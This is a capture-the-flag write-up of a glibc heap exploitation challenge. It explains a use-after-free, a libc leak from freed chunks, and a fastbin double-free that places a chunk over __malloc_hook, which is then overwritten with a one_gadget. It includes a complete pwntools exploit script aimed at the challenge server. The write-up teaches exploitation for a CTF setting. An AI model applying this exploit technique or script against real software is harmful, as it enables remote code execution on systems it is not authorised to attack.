Solved by 4rbit3r
This time, ASIS Quals was held almost the same time as my exams. But I still managed to find time to play the CTF. This is one of the challenges that I found pretty interesting.
Most of the CTF’s nowadays have this challenge where you are given a menu driven program and you’re supposed to wreak havoc using the functionalities that it provides.
The idea behind these challenges is to check how good your knowledge of dlmalloc is. I’m still learning a lot of new stuff from every write-up I read of some challenge that is of a similar type.
So let’s start pwning this bin.
The same binary was given as two separate challenges. The second one only differed from the first in terms of protections enabled. The second had PIE and Full RELRO enabled whereas the first one didn’t.
So I’ll explain a method that can be used for both of the challenges. And after that I’ll explain how I actually solved the first one during the CTF.
Firstly, let’s start with the functionalities provided.
- do_allocate : Ask user for size. Call malloc with size as argument and fill the chunk returned with user input (Max of size bytes). The pointer is then stored in a table of such pointers.
- do_write : This function prints out the content of any filename that the user wants. But this functionality was removed in the second binary. This isn’t really relevant to the solution whatsoever.
- do_free : As the name suggests, this free’s a chunk that the user specifies. Note that the table entry doesn’t get zeroed out. Possibility of a UAF.
- do_read : Prints out the content of any entry in the table.
So, we have a UAF vulnerability. We can use that to force malloc to return an arbitrary pointer. But then we’d be in need of a memory leak. Let’s do that first.
The do_read function prints out the content of any table entry regardless of whether it has been free’d or not.
So we can abuse the fact that free chunks contain FD and BK pointers. If it is the only chunk in the linked list, then the FD and BK should be pointing to the main_arena. So we can use the do_read functionality to leak out the libc.
There is also a method to leak out the heap address. Although it isn’t really useful for this challenge, I’ll just explain it.
The simplest way would be to allocate two chunks of same size (smaller than 0x80). These chunks, if free’d would end up in the Fastbins. Now the fastbins are a group of singly linked lists. So if both of the chunks free’d are of the same size, then one of those would contain a pointer to the other. We could then use the do_read functionality on the last free’d chunk and leak out a pointer to the heap.
Alright, so we can now move on to the second part which would be forcing malloc to return an arbitrary pointer. Since PIE is enabled, performing a GOT table overwrite is out of the question. Full RELRO simply adds to that. So a viable target that can be overwritten is the __malloc_hook.
This is a function pointer that lies in the libc’s bss section. Usually, the value is null. If the value isn’t null, then the function pointer is invoked at every malloc or free.
So our objective would be to overwrite the __malloc_hook with something that would lead to a shell. Now in order to do that, we can use the fastbins method. We could overwrite the next pointer of one of the chunks in a fastbin. That would trick malloc into thinking that there is one more chunk in the fastbin. So requesting a size which is in the same size range as that of the chunk in the fastbin, would make malloc return the address that we control.
The only condition that has to be met is that the size has to be correctly set. It might be difficult to find some location with the correct size. So what we can do is use a pointer that one can easily find in libc’s bss. Every address starts with 0x7f followed by 5 more bytes. So, we can use an address such that only the 0x7f is considered as size.
Normal view.
What we’ll be using is this
You can see that, if we chose to view the memory 5 bytes misaligned, the size byte is correctly set. Malloc doesn’t put a constraint upon alignment or the precision of the size. So a size of 0x7f will pass the checks of a fastbin chunk of size 0x71.
Now to actually getting a arbitrary chunk returned by malloc in this situation, we can use the UAF vulnerabitlity. Allocate two chunks, free both of them. Free the first one again. Now allocate another chunk.
At this point, the same chunk will be under the user’s control as well as in the fastbin. So the next pointer is under the control of the user.
So, once all that is done, and we’ve got control over the __malloc_hook, the next question is what do we overwrite this pointer with ?
We’ve only got control over RIP, so the easiest method would be to use a One-Shot-RCE gadget.
To do that, you can use the one_gadget tool that I’ve found to be really helpful.
Once you’ve overwritten __malloc_hook with the address of the One-Shot-RCE, all that is left is to call malloc or free and wait for the shell to magically pop up.
I couldn’t land a shell by calling malloc, probably because of some constraints that weren’t met. But calling free did the trick.
Here’s the script.
from pwn import * import sys def allocate(size, payload): p.sendlineafter("away\n", "1") p.sendlineafter("? ", str(size)) p.sendline(payload) def remove(idx): p.sendlineafter("away\n", "3") p.sendlineafter("? ", str(idx)) def leak(idx, flag=False): p.sendlineafter("away\n", "4") p.sendlineafter("? ", str(idx)) if flag is True: return 0 msg = u64(p.recvline().strip().ljust(8, "\x00")) return msg if __name__ == "__main__": if sys.argv[1] == "local": p = process("./remastered") elif sys.argv[1] == "remote": p = remote("128.199.85.217", 10001) allocate(2000, 'asdf') allocate(2000, 'asdf') remove(0) libc = leak(0) - 0x3c3b78 log.success("Leaked libc @ {}".format(hex(libc))) allocate(0x60, 'asdf') allocate(0x60, 'asdf') remove(3) remove(2) remove(3) malloc_hook = libc + 0x3c3aed one_gadget = libc + 0xef6c4 allocate(0x60, p64(malloc_hook)) allocate(0x60, 'asdf') allocate(0x60, 'asdf') payload = fit({0x13: p64(one_gadget)}) allocate(0x60, payload) remove(0) remove(0) p.interactive()
And well, that gave a shell.
Now onto the solution that I had used for the first bin.
I decided to use the same 0x7f method and tricked malloc into returning a pointer to the GOT table. After that, I went ahead and overwrote the GOT entry of strtoul with the address of system. The functionality we wish to choose is done by a read followed by a strtoul. So if I gave a string ‘sh’ as input, strtoul would be invoked with that and shell.
That works too. But this is the cleaner exploit and so it’s the only one I’m putting up here.